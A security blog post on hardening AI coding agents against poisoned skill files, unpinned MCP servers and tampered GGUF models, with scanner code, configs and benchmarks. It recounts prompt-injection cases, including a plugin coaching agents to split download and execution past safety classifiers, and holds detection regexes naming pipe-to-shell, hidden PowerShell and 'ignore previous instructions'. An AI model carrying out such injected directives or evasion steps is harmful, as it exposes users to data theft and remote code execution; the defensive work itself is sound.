# Your coding agent's sandbox won't save you: locking down agent skills, MCP servers, and local GGUF models

Last week I wrote about [cutting AI agent skill bloat under 4,000 tokens and isolating five coding CLIs](https://nareshh74.hashnode.dev/unifying-5-coding-agent-harnesses) with dedicated hook files, read-only `.bak` locks, and a ban on open-ended dotfile audits. That solved context cost and config drift. It did nothing to verify whether the skills, MCP servers, or local models I was loading were trustworthy in the first place.

Two disclosures in late November 2026 made that blind spot hard to ignore. On November 27, [Convex backend skill issue #64](https://github.com/convex/convex-backend-skill/issues/64) (originally filed October 26) hit the Hacker News front page after a user documented a plugin from Anthropic's `claude-plugins-official` marketplace silently POSTing project prompts to an external endpoint, piping a remote script into `bash`, and coaching the agent to split a download and execution across two Bash calls so single-command safety classifiers would miss it. The same day, [Malspark published a scan of 3,273,389 public Hugging Face repositories](https://malspark.com/blog/malicious-gguf-models-hugging-face/) uncovering five malicious GGUF models (2,428 combined downloads) carrying Windows RAT binaries appended past the final tensor and poisoned `tokenizer.chat_template` payloads that fire `[SYSTEM DIRECTIVE]` PowerShell loaders during normal chat turns.

Runtime sandboxes isolate the CLI process on disk, yet they leave AI coding agent supply chain security wide open whenever you load untrusted skills, floating MCP servers, or community model files.

## TL;DR

OS sandboxes (Seatbelt, `bwrap`, Docker) restrict where a coding agent writes, but they never inspect what you load into it. Closing the supply-chain gap requires pre-install checks across three artifact layers:

1. **Skills and context files (`SKILL.md`, `AGENTS.md`, `CLAUDE.md`)**: block pipe-to-shell, split download-and-execute flows, silent outbound `POST`s, and authority-override directives before install.
2. **MCP servers**: ban floating `npx -y` and unpinned `uvx`, pin containers by `@sha256` digest, drop Linux capabilities, and force egress through an allowlist proxy.
3. **Local GGUF models**: verify `expected_eof == actual_size` and zeroed alignment padding before loading weights, then override embedded chat templates with `--jinja --chat-template-file` in `llama.cpp` (or an explicit `TEMPLATE` in an Ollama `Modelfile`).

A zero-dependency Python 3 pre-install gate testing all three layers blocked 5/5 malicious skill fixtures (0 false positives, 0.681 ms/file), blocked 2/2 insecure MCP configs (0.306 ms/config), caught 4,096 trailing `MZ` bytes and non-zero alignment padding on synthetic GGUF v3 files (<1 ms), and verified two real multi-hundred-megabyte Qwen3 GGUF models read-only in 259 to 271 ms.

## Why OS sandboxes miss the agent supply chain

Even strong 2026 sandboxing guides, including [Codersera's sandboxing walkthrough](https://codersera.com/blog/how-to-sandbox-ai-coding-agents-2026/) and [Endor Labs' sandbox posture overview](https://www.endorlabs.com/learn/introducing-sandbox-posture-in-coding-agent-governance), focus on runtime containment (Claude Code's `sandbox.enabled`, Codex's `sandbox_mode`, and egress filtering) while flagging MCP exposure. Neither covers static auditing of `SKILL.md` files, GGUF binary layout inspection, or `tokenizer.chat_template` verification.

Indirect prompt injection researchers call the underlying failure mode the ["lethal trifecta"](https://dev.to/rudratosh/your-ai-agent-trusts-everything-it-reads-a-field-guide-to-hijacking-claude-gpt-gemini-copilot-1l6k): private workspace data, untrusted instructions, and an execution or outbound path. Because the agent is supposed to read workspace markdown, call configured MCP tools, and evaluate its model's chat template, malicious logic inside those trusted inputs runs inside the allowed boundary.

![Why OS sandboxes miss the AI coding agent supply chain: conceptual Excalidraw diagram showing the Seatbelt, bwrap, and Docker sandbox wall blocking raw destructive shell commands while three untrusted artifact channels slip through authorized paths — poisoned SKILL.md split curl-and-bash instructions via the system prompt, unpinned npx -y and uvx MCP servers or remote SSE schema rug-pulls via the MCP tool bridge, and poisoned GGUF tokenizer.chat_template SYSTEM DIRECTIVE payloads plus trailing bytes past the final tensor via the local LLM loader](https://cdn.hashnode.com/uploads/covers/648750d026ad2cb55dcd42dc/7acdc005-eeb9-4b28-99ef-0c59171a0912.png)

*OS sandboxes stop raw shell violations at the perimeter, while poisoned skills, floating MCP configs, and modified GGUF files enter through authorized channels.*

| Supply-chain layer | Real-world attack vector | What OS sandboxes (Seatbelt, `bwrap`, Docker) block | What OS sandboxes miss | Required pre-install and runtime control |
| :--- | :--- | :--- | :--- | :--- |
| **Layer 1: Skills and context files** (`SKILL.md`, `AGENTS.md`, `CLAUDE.md`) | Classifier-splitting (`curl -o` + separate `bash` call, Convex #64); `curl \| bash`; silent `POST` of prompts or repo data; hidden `[SYSTEM DIRECTIVE]` in repo markdown | Blocks writes outside the workspace; blocks direct reads of `~/.ssh` or `~/.aws` if excluded from mounts | Cannot tell malicious markdown instructions apart from user intent; single-command classifiers miss two-step bash flows; allows workspace scripts and allowlisted outbound calls | Static pre-install gate (`pre-install-agent-gate.py` + `NVIDIA/SkillSpector`) blocking split download+exec, pipe-to-shell, bypass coaching, and hidden directives; pin skills by commit SHA |
| **Layer 2: MCP servers** (stdio and remote HTTP/SSE) | Floating `npx -y` or `uvx` resolving compromised packages on startup; remote MCP tool-description rug-pulls; plaintext API tokens in MCP JSON; unrestricted container egress | Host sandboxes often do not wrap child MCP server processes identically; default Docker bridge still permits open internet egress | Unpinned package installs running before or outside the agent sandbox; silent mutation of remote tool schemas; exfiltration over standard HTTPS | Ban floating `npx -y` and unpinned `uvx`; run MCP servers non-root with `--read-only --cap-drop=ALL --network=none` (or an `internal: true` Compose network) pinned by `@sha256`; pin remote tool-schema hashes; pass short-lived tokens via env substitution |
| **Layer 3: Local GGUF models** (`llama.cpp`, Ollama) | Poisoned `tokenizer.chat_template` injecting `[SYSTEM DIRECTIVE]` PowerShell loaders (`timdedid`); RAT appended past final tensor EOF (`Mir2k` / `ollie`) or hidden in inflated `general.alignment` padding | Only triggers after the model convinces the agent or user to run an unpacked command; never inspects binary model files | Loaders (`llama.cpp`, `gguf-py`) ignore trailing bytes and non-zero alignment padding with zero warnings; embedded Jinja templates run on every chat turn | Pre-load binary and template audit (`pre-install-agent-gate.py` or `gguf-radar scan`) checking `expected_eof == actual_size`, zeroed padding, and template rules; override templates at runtime with `--jinja --chat-template-file` (or Ollama `TEMPLATE`) |

Projects like [Claude-Cage](https://github.com/Lee-xeo/Claude-Cage) (9,458 stars as of November 30, 2026) wrap Claude inside a lightweight VM to isolate network leakage and separate accounts, which strengthens runtime containment. A VM limits blast radius after the fact; a pre-install gate stops poisoned artifacts from entering the box at all.

## Layer 1: Auditing agent skills (`SKILL.md` and `AGENTS.md`)

In late October 2026, Forever Security and Aviatrix Threat Research tested malicious `AGENTS.md` and `CLAUDE.md` files inside repositories and [measured hijack rates up to 90% against Codex and 50% against Claude Code](https://dev.to/johnnylemonny/one-markdown-file-can-hijack-your-ai-coding-agent-the-hidden-cost-of-blindly-trusting-agentsmd-167n). Following workspace markdown is intended behavior in both tools, so a poisoned instruction file inherits the agent's normal permissions.

Marketplace plugins carry the same risk at scale. In [NVIDIA/SkillSpector's](https://github.com/NVIDIA/SkillSpector) README (28,221 stars as of Nov 30, 2026, part of the [NVIDIA Verified Skills](https://docs.nvidia.com/skills/) pipeline), the team reports analyzing a dataset subset of 31,132 skills and finding vulnerabilities in 26.1% and likely malicious intent in 5.2%.

[Convex backend skill issue #64](https://github.com/convex/convex-backend-skill/issues/64) showed how subtle these patterns look inside an otherwise legitimate plugin listed in `claude-plugins-official` at commit `6ca54f6e2e7582812187b8a5a4783fb4dff52692`:

- `skills/quickstart/SKILL.md` (lines 48 to 56) POSTed the user's project idea to `basic-anteater-667.convex.site` without telling the user.
- `skills/add/SKILL.md` (lines 62 and 64) piped a remote script from the same host straight into `bash`.
- `skills/labs-quickstart/SKILL.md` (lines 74 to 80) instructed the agent to split downloading and running a remote script into two separate Bash tool calls, adding this note: *"A single command that both downloads remote code and executes it is the shape harness safety classifiers block."*

Maintainer `@jamescowling` responded on November 28, 2026, explaining that the prompts were intended for quickstart generation (calling the `"telemetry"` wording comment-slop) and shipping commit `51b4e65` to remove the telemetry labels and split-command bypass coaching. Issue reporter `@thirtysix` pointed out that unpinned runtime script fetching (`skills/add` piping remote code into a shell) remained open as of November 30.

Intent does not matter to a single-command regex filter: split Bash execution walks right past it. If step 1 runs `curl -fsSL https://example.com/setup.sh -o /tmp/setup.sh` in one fenced block and step 2 runs `bash /tmp/setup.sh` three paragraphs later, a line-by-line check sees two ordinary commands.

### Detecting split-Bash evasion and silent exfiltration

To catch both single-command patterns and cross-block split execution, Layer 1 of `pre-install-agent-gate.py` scans full markdown files for six high-signal rules (`SKILL-001` through `SKILL-006`) plus a cross-block file-target join (`SKILL-007`) that tracks any script downloaded via `curl`/`wget` and executed anywhere else in the same skill:

```python
import re
from pathlib import Path

SKILL_RULES = [
    (
        "SKILL-001", "CRITICAL", "Pipe-to-shell remote execution",
        re.compile(
            r"(?is)(?:\b(?:curl|wget)\b[^\n|;]{0,220}\|\s*(?:sudo\s+)?(?:ba)?sh\b"
            r"|\b(?:irm|iwr|invoke-restmethod|invoke-webrequest)\b[^\n|;]{0,220}\|\s*(?:iex|invoke-expression)\b)"
        ),
    ),
    (
        "SKILL-002", "CRITICAL", "Classifier-evasion coaching",
        re.compile(
            r"(?is)(?:split(?:ting)?\s+(?:the\s+)?(?:download|fetch).{0,80}(?:run|exec|two\s+bash|separate\s+(?:calls?|commands?))"
            r"|(?:avoid|bypass|evade|dodge)\s+(?:harness\s+)?safety\s+(?:checks?|classifiers?)"
            r"|safety\s+classifiers?\s+block)"
        ),
    ),
    (
        "SKILL-003", "HIGH", "Silent outbound POST exfiltration",
        re.compile(
            r"(?is)(?:\bcurl\b[^\n]{0,200}(?:-X\s*POST|--data|-d\b|-F\b)[^\n]{0,200}(?:https?://|\$)"
            r"|\b(?:fetch|requests\.post|httpx\.post|invoke-restmethod\s+-method\s+post)\b[^\n]{0,200}https?://)"
        ),
    ),
    (
        "SKILL-004", "CRITICAL", "Authority-override or stealth directive",
        re.compile(
            r"(?is)(?:\[SYSTEM\s+DIRECTIVE\]|ignore\s+(?:all\s+)?(?:previous|prior)\s+instructions?"
            r"|do\s+not\s+(?:inform|tell|mention\s+to)\s+the\s+user"
            r"|silently\s+(?:send|post|upload|run|execute|exfiltrate)"
            r"|without\s+(?:asking|notifying|telling)\s+the\s+user)"
        ),
    ),
    (
        "SKILL-005", "HIGH", "Unpinned remote script download followed by local shell execution",
        re.compile(
            r"(?is)\b(?:curl|wget)\b[^\n]{0,200}(?:-o|-O|--output)\s+([^\s;|&]+)"
            r"[^\n]*(?:\n[^\n]*){0,6}\b(?:chmod\s+\+x|(?:ba)?sh|source|\./)\s+\1\b"
        ),
    ),
    (
        "SKILL-006", "HIGH", "Encoded or hidden shell execution",
        re.compile(
            r"(?is)(?:base64\s+(?:-d|--decode)[^\n]{0,80}\|\s*(?:ba)?sh\b"
            r"|powershell(?:\.exe)?[^\n]{0,160}(?:-enc(?:odedcommand)?\b|-w(?:indowstyle)?\s+hidden\b))"
        ),
    ),
]

DOWNLOAD_SCRIPT_RE = re.compile(
    r"(?is)\b(?:curl|wget)\b[^\n]{0,220}https?://[^\s'\"`]+(?:\.sh|\.ps1|/bootstrap|/install|/setup|/script)"
    r"[^\n]{0,120}(?:-o|-O|--output|>)\s*([^\s'\"`;|&]+)"
)
EXEC_FILE_RE = re.compile(
    r"(?is)\b(?:(?:ba)?sh|zsh|pwsh|powershell(?:\.exe)?|source|chmod\s+\+x)\s+([^\s'\"`;|&]+)"
)

def audit_skill_file(path: Path) -> list[tuple[str, str]]:
    text = path.read_text(encoding="utf-8", errors="replace")
    hits = [(rid, sev) for rid, sev, _, pat in SKILL_RULES if pat.search(text)]
    dl_targets = {m.group(1).strip("\"'") for m in DOWNLOAD_SCRIPT_RE.finditer(text)}
    exec_targets = {m.group(1).strip("\"'") for m in EXEC_FILE_RE.finditer(text)}
    if dl_targets & exec_targets and not any(rid == "SKILL-005" for rid, _ in hits):
        hits.append(("SKILL-007", "HIGH"))
    return hits
```

I benchmarked the full Layer 1 scanner across 10 synthetic fixtures (5 realistic benign skills, including one with localhost `curl` GET examples, and 5 malicious fixtures reproducing Convex #64 split-Bash, pipe-to-shell, silent outbound `POST`, `AGENTS.md` `[SYSTEM DIRECTIVE]` + hidden PowerShell, and `base64 -d | sh`). Across 20 runs in Python 3.15.2 with stdlib only:

| Metric | Measured result (20-run median) |
| :--- | :--- |
| Fixtures tested | 10 (5 benign, 5 malicious) |
| True positives / False negatives | **5 / 5** (100%) / **0 / 5** (0%) |
| True negatives / False positives | **5 / 5** (100%) / **0 / 5** (0%) |
| Total runtime (10 files) | **6.811 ms** (**0.681 ms/file**) |

Note that `SKILL-003` intentionally flags *any* outbound `POST` (including legitimate webhook or REST-testing skills) for human review. If your team ships local API-testing skills, add a narrow allowlist for `localhost`, `127.0.0.1`, or approved internal domains inside `SKILL-003`.

For CI pipelines or auditing large third-party skill catalogs, pair this fast regex/structural gate with [NVIDIA/SkillSpector](https://github.com/NVIDIA/SkillSpector) (Python 3.12+) and, when doing deeper repo-wide security reviews with an agent, adopt an isolated multi-phase audit workflow like [Cloudflare's `security-audit-skill`](https://github.com/cloudflare/security-audit-skill) (80,160 stars as of Nov 30, 2026), which seeded [Cloudflare's vulnerability harness](https://blog.cloudflare.com/build-your-own-vulnerability-harness).

## Layer 2: Pinning and isolating MCP servers

Look through most local multi-harness setups and you will find a mix of locally built servers right next to entries like `npx -y @vendor/some-mcp-server` or `uvx some-mcp-tool`. That convenience flag is an unpinned remote code execution hook: every fresh cache or version bump resolves whatever is newest on npm or PyPI at startup, outside the agent's own command sandbox.

Remote HTTP/SSE MCP endpoints add a second problem demonstrated in [WebMCP Attack Lab](https://dev.to/gramli/webmcp-attack-lab-can-an-e-shop-hijack-your-ai-agent-4oe5): adversarial tool descriptions can steer an agent past user constraints (such as spending caps) because the server controls the tool metadata the model reads. A server that looks harmless during onboarding can swap its tool description later without changing the URL.

Compare a typical insecure MCP config against a hardened equivalent:

```json
{
  "mcpServers": {
    "floating-docs": {
      "command": "npx",
      "args": ["-y", "@example/docs-mcp"],
      "env": {
        "DOCS_API_KEY": "sk-live-hardcoded-token"
      }
    },
    "unpinned-remote": {
      "url": "https://mcp.example.com/sse"
    }
  }
}
```

Hardened version with `@sha256` digest pinning, read-only rootfs, dropped capabilities, zero network egress, non-root UID, and value-less `-e` env forwarding:

```json
{
  "mcpServers": {
    "pinned-docs": {
      "command": "docker",
      "args": [
        "run", "--rm", "-i",
        "--read-only",
        "--cap-drop=ALL",
        "--security-opt=no-new-privileges:true",
        "--network=none",
        "--user=65532:65532",
        "-e", "DOCS_API_KEY",
        "ghcr.io/example/pinned-mcp-server@sha256:0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"
      ],
      "env": {
        "DOCS_API_KEY": "${SCOPED_DOCS_API_KEY}"
      }
    }
  }
}
```

Passing `-e DOCS_API_KEY` without `=value` tells `docker run` to forward the variable from the host `env` block into the container without leaking the secret into `ps` or command-line arguments. Use `--network=none` for local-only servers (which can omit `DOCS_API_KEY` altogether); if an MCP server legitimately needs outbound API calls, route it through the Compose egress proxy below instead of enabling unrestricted networking.

Layer 2 of `pre-install-agent-gate.py` audits MCP JSON files for floating `npx -y` without exact `@x.y.z` (`MCP-001`), floating `uvx` without `==x.y.z` (`MCP-003`), Docker images missing `@sha256` digests (`MCP-004`) or network/capability/read-only flags (`MCP-005` to `MCP-007`), cleartext non-localhost remote URLs (`MCP-008`), HTTPS remote endpoints lacking a `pinnedToolsSha256`/`integrity` digest (`MCP-009`, a custom lock field verified by your pre-session wrapper or MCP proxy since most clients do not enforce schema pinning natively yet), and hardcoded literal credentials in `env` (`MCP-010`).

Across 4 test configs (2 insecure, 2 hardened, 20-run median), the Layer 2 gate blocked 2/2 insecure configs and passed 2/2 hardened configs with zero false positives in **1.226 ms** (**0.306 ms/config**).

### Wrapping both agent and MCP server with an egress allowlist

If your MCP server needs to talk to the coding agent while the agent reaches only approved APIs and package registries, put both containers on an `internal: true` Docker bridge network and force outbound HTTPS through a read-only Squid proxy.

This `compose.agent-sandbox.yml` and `squid-allowlist.conf` pair passed syntax validation with `docker compose -f compose.agent-sandbox.yml config -q` (exit code `0`):

```yaml
# compose.agent-sandbox.yml
networks:
  agent_internal:
    driver: bridge
    internal: true
  egress_external:
    driver: bridge

services:
  egress-proxy:
    # Resolve current digest with: docker buildx imagetools inspect ubuntu/squid:latest
    image: ubuntu/squid@sha256:<replace-with-imagetools-digest>
    read_only: true
    cap_drop: [ALL]
    security_opt: [no-new-privileges:true]
    tmpfs:
      - /var/spool/squid:rw,noexec,nosuid,uid=13,gid=13,size=64m
      - /var/log/squid:rw,noexec,nosuid,uid=13,gid=13,size=32m
      - /run:rw,noexec,nosuid,uid=13,gid=13,size=16m
    volumes:
      - ./squid-allowlist.conf:/etc/squid/squid.conf:ro
    networks: [agent_internal, egress_external]

  mcp-server:
    image: ghcr.io/example/pinned-mcp-server@sha256:0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
    user: "65532:65532"
    read_only: true
    cap_drop: [ALL]
    security_opt: [no-new-privileges:true]
    tmpfs: [/tmp:rw,noexec,nosuid,size=64m]
    volumes:
      - ./worktree:/workspace:ro
    networks: [agent_internal]

  coding-agent:
    image: ghcr.io/example/coding-agent-cli@sha256:abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789
    user: "10001:10001"
    read_only: true
    cap_drop: [ALL]
    security_opt: [no-new-privileges:true]
    tmpfs:
      - /tmp:rw,noexec,nosuid,size=256m
      - /home/agent/.cache:rw,noexec,nosuid,size=128m
    environment:
      HTTP_PROXY: "http://egress-proxy:3128"
      HTTPS_PROXY: "http://egress-proxy:3128"
      NO_PROXY: "localhost,127.0.0.1,mcp-server"
      ANTHROPIC_API_KEY: "${SCOPED_AGENT_API_KEY:?set SCOPED_AGENT_API_KEY}"
    volumes:
      - ./worktree:/workspace:rw
      - ./verified-skills:/home/agent/.agent/skills:ro
    depends_on: [egress-proxy, mcp-server]
    networks: [agent_internal]
```

```conf
# squid-allowlist.conf
http_port 3128
pid_filename /run/squid.pid
acl SSL_ports port 443
acl Safe_ports port 443
acl CONNECT method CONNECT
acl allowed_domains dstdomain .anthropic.com .openai.com registry.npmjs.org pypi.org files.pythonhosted.org
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access allow allowed_domains
http_access deny all
cache deny all
access_log stdio:/var/log/squid/access.log
```

Notice three details in that layout:

- `agent_internal` sets `internal: true`, so even if a hijacked binary ignores `HTTP_PROXY` and tries a direct socket connection, the container has no default route out of `agent_internal`.
- `mcp-server` mounts the same disposable `./worktree` checkout read-only (`/workspace:ro`) with no route to `egress_external`, while `coding-agent` gets read-write access to `./worktree` and read-only access to `./verified-skills`.
- Before running `docker compose up`, fetch the pinned Squid digest with `docker buildx imagetools inspect ubuntu/squid:latest` and verify the `proxy` user UID/GID (`13:13` on `ubuntu/squid`; use `mode=1777` if your base image uses a different UID, or route `access_log` to `stdio:/dev/stdout`). Also remember that allowlisting `.anthropic.com` or `.openai.com` still permits exfiltration to an attacker-controlled API key unless you scope keys and rotate them per workspace.

## Layer 3: Verifying local GGUF models

Many developers assumed GGUF files were safe compared to Python `.pkl` checkpoints because GGUF stores flat tensors and metadata without running `pickle.loads`. [Malspark's November 27, 2026 scan of 3,273,389 public Hugging Face repos](https://malspark.com/blog/malicious-gguf-models-hugging-face/) disproved that assumption in two concrete ways:

1. **Trailing payloads + self-extracting chat templates (`Mir2k` campaign)**: Two uncensored GGUF uploads carried a Windows RAT (`ollie`) appended past the last tensor, where `llama.cpp` and `gguf-py` stop reading without emitting any warning. On November 26, the uploader modified `tokenizer.chat_template` so the model tells users to run a command that extracts the appended binary.
2. **Conditional `[SYSTEM DIRECTIVE]` prompt injection inside `tokenizer.chat_template` (`timdedid` campaign)**: Three byte-identical Qwen3 1.7B uploads (plus an Ollama mirror, `timdedid/qwen3-1.7b-cyber`) checked whether the latest user message contained `What is`. When matched, the Jinja template injected a `[SYSTEM DIRECTIVE]` ordering an agent to invoke its `powershell` tool, download `value.ps1` to `C:\Windows\Temp\payload.ps1`, and execute it hidden.

Malspark also demonstrated three additional hiding spots in lab tests, including inflating `general.alignment` to carve out a hidden padding gap between the tensor table and the first tensor. Dequantized weights stay bit-for-bit identical, and stock loaders raise zero errors.

### Zero-dependency GGUF binary and template inspection

Per the [GGUF binary specification](https://github.com/ggml-org/ggml/blob/master/docs/gguf.md), a GGUF v2/v3 file consists of:

1. Header: `GGUF` magic, `version`, `tensor_count`, `metadata_kv_count`.
2. Metadata key-value pairs (including `general.alignment`, default 32 bytes, and `tokenizer.chat_template`).
3. Tensor info table (name, dimensions, GGML quantization type, relative byte offset).
4. Alignment padding up to `data_start = align_up(header_end, alignment)`.
5. Tensor data ending at `expected_eof_aligned = align_up(max(data_start + rel_offset + tensor_bytes), alignment)`.

You can verify header alignment, padding, trailing bytes, and embedded chat templates read-only in stdlib Python without loading weights into RAM or evaluating Jinja. Here is an excerpt of the tail and padding check from Layer 3 of `pre-install-agent-gate.py` (the full ~700-line script also implements the GGUF v2/v3 header, KV, and tensor-table parser):

```python
import math, os, re, struct
from pathlib import Path

GGUF_TYPE_FMT = {
    0: ("<B", 1), 1: ("<b", 1), 2: ("<H", 2), 3: ("<h", 2),
    4: ("<I", 4), 5: ("<i", 4), 6: ("<f", 4), 7: ("<?", 1),
    10: ("<Q", 8), 11: ("<q", 8), 12: ("<d", 8),
}
# Subset shown for brevity; full script covers 32 GGML quantization types
GGML_TYPE_INFO = {
    0: (1, 4), 1: (1, 2), 2: (32, 18), 8: (32, 34),
    12: (256, 144), 14: (256, 210), 30: (1, 2),
}
TEMPLATE_PATTERNS = [
    ("GGUF-001", re.compile(r"(?is)\[SYSTEM\s+DIRECTIVE\]|ignore\s+(?:all\s+)?(?:previous|prior)\s+instructions?")),
    ("GGUF-002", re.compile(r"(?is)powershell(?:\.exe)?|-windowstyle\s+hidden|-encodedcommand|\bcurl\b[^\n]{0,120}\|\s*(?:ba)?sh\b")),
    ("GGUF-003", re.compile(r"(?:__class__|__mro__|__subclasses__|__globals__|__builtins__|__import__)")),
    ("GGUF-004", re.compile(r"https?://[^\s'\"<>]+", re.IGNORECASE)),
    ("GGUF-005", re.compile(r"(?is)\.gguf[^\n]{0,120}(?:seek|tail|skip|dd\s+if=|ReadAllBytes)")),
]

def align_up(offset: int, alignment: int) -> int:
    # Full script also rejects alignment <= 0 or non-power-of-two values (GGUF-006)
    if alignment <= 1:
        return offset
    rem = offset % alignment
    return offset if rem == 0 else offset + (alignment - rem)

def check_gguf_tail_and_padding(path: Path, header_end: int, alignment: int, tensors: list[tuple[int, int]]) -> list[str]:
    issues = []
    actual_size = path.stat().st_size
    data_start = align_up(header_end, alignment)
    pad_len = data_start - header_end
    with path.open("rb") as f:
        if alignment > 4096:
            issues.append(f"GGUF-007: large general.alignment={alignment}")
        if pad_len > 0:
            f.seek(header_end)
            if any(b != 0 for b in f.read(min(pad_len, 1024 * 1024))):
                issues.append(f"GGUF-008: non-zero bytes in {pad_len}B header padding")
        max_end = max((data_start + rel_off + nbytes for rel_off, nbytes in tensors), default=data_start)
        expected_eof = align_up(max_end, alignment)
        trailing = actual_size - expected_eof
        if trailing > 0:
            f.seek(expected_eof)
            head = f.read(16)
            tag = " [MZ]" if head.startswith(b"MZ") else " [PK]" if head.startswith(b"PK\x03\x04") else ""
            issues.append(f"GGUF-010: {trailing} trailing bytes past aligned EOF{tag}")
    return issues
```

I tested the full Layer 3 parser against three synthetic GGUF v3 binaries (10-run median) and two real local Qwen3 reranker GGUF v3 files inspected strictly read-only (5-run median):

| GGUF file | File size | Tensors | Alignment | Expected EOF | Trailing bytes | Template chars | Median scan time | Verdict and rules |
| :--- | ---: | ---: | ---: | ---: | :--- | ---: | ---: | :--- |
| `synthetic_clean_v3.gguf` | 864 B | 2 | 32 B | 864 B | 0 B | 173 | **0.52 ms** | `PASS` (`[]`) |
| `synthetic_poisoned_v3.gguf` | 5,216 B | 2 | 32 B | 1,120 B | **4,096 B** (`MZ` header) | 450 | **0.96 ms** | `BLOCK` (`GGUF-010`, `GGUF-001`, `GGUF-002`, `GGUF-004`) |
| `synthetic_nonzero_pad_v3.gguf` | 24,576 B | 2 | 8,192 B | 24,576 B | 0 B (**7,707 B** non-zero header pad) | 173 | **0.81 ms** | `BLOCK` (`GGUF-007`, `GGUF-008`) |
| `qwen3-reranker-0.6b-q4_0.gguf` (real model) | 418,952,224 B (399.5 MiB) | 311 | 32 B | 418,952,224 B | **0 B** | 4,116 | **259.22 ms** | `PASS` (`[]`) |
| `qwen3-reranker-0.6b-q8_0.gguf` (real model) | 639,153,184 B (609.5 MiB) | 311 | 32 B | 639,153,184 B | **0 B** | 4,116 | **271.30 ms** | `PASS` (`[]`) |

Most of that ~260 ms goes to stepping past the tokenizer's ~150k-entry string metadata array in Python; the scanner never reads the tensor weight blocks at all, so checking a 609.5 MiB real model takes roughly a quarter of a second.

For Hugging Face downloads, you can also run [`Root0ne/gguf-radar`](https://github.com/Root0ne/gguf-radar) (`pip install gguf-radar`, MIT, 424 stars as of Nov 30, 2026), which range-fetches metadata remotely before you pull gigabytes of weights and supports sanitization and base-model template diffing:

```bash
# Inspect before or after download (exit 0 = CLEAN, 2 = SUSPICIOUS/MALICIOUS, 1 = ERROR)
gguf-radar scan ./model.gguf
gguf-radar scan <hf-org/hf-repo>
gguf-radar compare-template ./model.gguf --base <official-base-repo>
gguf-radar sanitize suspicious.gguf -o clean.gguf
```

### Pinning `--chat-template-file` in `llama.cpp` and Ollama

Even after scanning a GGUF file, never blindly trust a community upload's embedded `tokenizer.chat_template` at runtime. Per upstream [`llama.cpp` CLI options (`common/arg.cpp`)](https://github.com/ggml-org/llama.cpp/blob/master/common/arg.cpp) and the [`llama-server` README](https://github.com/ggml-org/llama.cpp/blob/master/tools/server/README.md), both `llama-server` and `llama-cli` accept `--jinja` (`LLAMA_ARG_JINJA`) and `--chat-template-file` (`LLAMA_ARG_CHAT_TEMPLATE_FILE`). Pass `--jinja` before `--chat-template-file` (even though `--jinja` is default-on in newer `llama.cpp` builds, passing it explicitly before the file flag ensures custom Jinja templates are accepted across builds instead of only built-in template names) so `llama.cpp` uses your reviewed file rather than the model's embedded `tokenizer.chat_template`:

```bash
# Local OpenAI-compatible server with an externally pinned, reviewed template
llama-server \
  -m ~/models/qwen3-coder.gguf \
  --jinja \
  --chat-template-file ./templates/qwen3-official-verified.jinja \
  --host 127.0.0.1 --port 8080

# Interactive CLI using the exact same override
llama-cli \
  -m ~/models/qwen3-coder.gguf \
  --jinja \
  --chat-template-file ./templates/qwen3-official-verified.jinja
```

In Ollama, define an explicit reviewed `TEMPLATE` block inside your `Modelfile` rather than inheriting a community repo's embedded template.

## Wiring the drop-in `pre-install-agent-gate` workflow

![Three-layer AI coding agent supply-chain defense architecture Excalidraw diagram: untrusted SKILL.md and AGENTS.md files, mcp.json and remote SSE servers, and local .gguf weights flow into the fail-closed Python 3 stdlib pre-install-agent-gate.py gate (SKILL-001 to 007, MCP-001 to 010, GGUF-001 to 010, exit 2 on blocking findings), while passing artifacts enter the agent_internal Docker Compose sandbox with non-root read-only coding-agent, digest-pinned mcp-server, and Squid HTTPS allowlist proxy, plus loopback llama-server or Ollama with explicit --jinja --chat-template-file override; footer summarizes verified benchmarks including 5/5 skills blocked at 0.68 ms/file and 259 ms 311-tensor GGUF EOF verification](https://cdn.hashnode.com/uploads/covers/648750d026ad2cb55dcd42dc/8fc5d833-b5b6-4eb7-a031-c31e5f8bccc4.png)

*End-to-end 3-layer defense-in-depth architecture: fail-closed static gating (`exit 2`) before any artifact reaches the internal Docker sandbox or loopback `llama.cpp` runtime.*

Combining all three layers into one command turns supply-chain hygiene into a repeatable exit-code check (`0` = PASS, `2` = BLOCK, `1` = ERROR) you can run locally before installing any artifact or wire into a git pre-commit hook and CI job.

> **Companion script:** The full zero-dependency ~700-line `pre-install-agent-gate.py` script (combining the Layer 1 skill rules, Layer 2 MCP auditor, and full Layer 3 GGUF v2/v3 parser) plus companion README is published as a public GitHub Gist: [gist.github.com/nareshh74/3a2bb7013aa281f4a376a38891dde2ed](https://gist.github.com/nareshh74/3a2bb7013aa281f4a376a38891dde2ed).

```bash
python pre-install-agent-gate.py \
  --skills ./skills ./AGENTS.md \
  --mcp ~/.config/agent/mcp.json \
  --gguf ~/models/qwen3-coder.gguf
```

Measured end-to-end on our combined test bundles:

- **Clean bundle** (`benign_01_git_commit.md` + `hardened_01_digest_docker.json` + `synthetic_clean_v3.gguf`): `[PASS] Scanned in 3.20 ms | findings=0 (blocking=0)` (exit `0`).
- **Malicious bundle** (`mal_01_convex64_split_bash.md` + `insecure_01_floating_npx_uvx.json` + `synthetic_poisoned_v3.gguf`): `[BLOCK] Scanned in 3.71 ms | findings=9 (blocking=9)` (exit `2`).

In CI, chain the stdlib gate with specialized ecosystem scanners so static checks stay fast locally and deep scans block merges:

```bash
# 1. Zero-dependency 3-layer gate (milliseconds)
python pre-install-agent-gate.py --skills ./skills ./AGENTS.md --mcp ./mcp.json --gguf ./models/*.gguf

# 2. Deep skill catalog audit: run NVIDIA/SkillSpector per https://docs.nvidia.com/skills/ before merge

# 3. Remote/local GGUF template diff against official upstream weights (gguf-radar)
gguf-radar compare-template ./models/qwen3-coder.gguf --base Qwen/Qwen3-Coder
```

## What this gate still does not catch

Static checks narrow the attack surface fast, but four gaps stay open:

- Semantic prompt obfuscation in skills: regex rules and cross-block file matching catch `curl|bash`, split-Bash file handoffs, and overt directives, whereas a subtly phrased prose instruction can still persuade an agent to exfiltrate code through an already-allowlisted API. Layer 2's egress allowlist and read-only workspace mounts remain necessary for that case.
- Inter-tensor gaps in GGUF binaries: checking header alignment padding and trailing EOF catches the `Mir2k` tail-append and inflated-alignment vectors, while scanning unreferenced gaps stuffed between individual tensor offsets (or overlapping tensor ranges) requires a full tensor-interval layout audit such as `gguf-radar` or an extended interval pass.
